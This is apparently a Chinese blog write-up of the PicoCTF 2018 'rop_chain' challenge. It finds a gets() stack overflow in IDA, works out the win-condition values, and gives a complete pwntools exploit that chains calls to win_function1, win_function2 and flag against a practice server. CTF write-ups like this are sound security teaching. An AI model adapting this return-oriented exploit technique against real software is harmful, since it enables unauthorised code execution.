PicoCTF_2018_rop_chain

<1>  查看保护机制

只开启了NX保护

<2>IDA反汇编 

 双击进入vuln函数

 发现gets函数存在栈溢出漏洞,可以构造ROP链。

SHIFT+F12查看Strings

 发现flag.txt,双击跟进

 观察程序,s中存有flag.txt的前48位,包含完整的flag。

只要使得win1=1,win2=1,a1=0xDEADBAAD(ida可将十进制转化为十六进制)即可输出s。(此处注意==的优先级高于&&)

运算符优先级:! > 算术运算符 > 关系运算符 > && > || > 赋值运算符

双击win1跟进

 可知win_function1函数将win赋值为1

双击win2跟进

发现win_function2函数 ,参数为a1,使得a1=0xBAAAAAAD即可。

在flag函数中,a1为其参数,使得其为0xDEADBAAD即可输出flag。

完整EXP

from pwn import*

context(arch='i386',log_level='debug')
p=remote('node4.buuoj.cn',25674)
elf=ELF('./1')
flag_addr=elf.symbols['flag']
win1_addr=elf.symbols['win_function1']
win2_addr=elf.symbols['win_function2']
win2=0xBAAAAAAD
flag=0xDEADBAAD

payload=b'M'*(0x18+4)+p32(win1_addr)+p32(win2_addr)+p32(flag_addr)+p32(win2)+p32(flag)
p.sendlineafter('Enter your input> ',payload)

p.interactive()

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值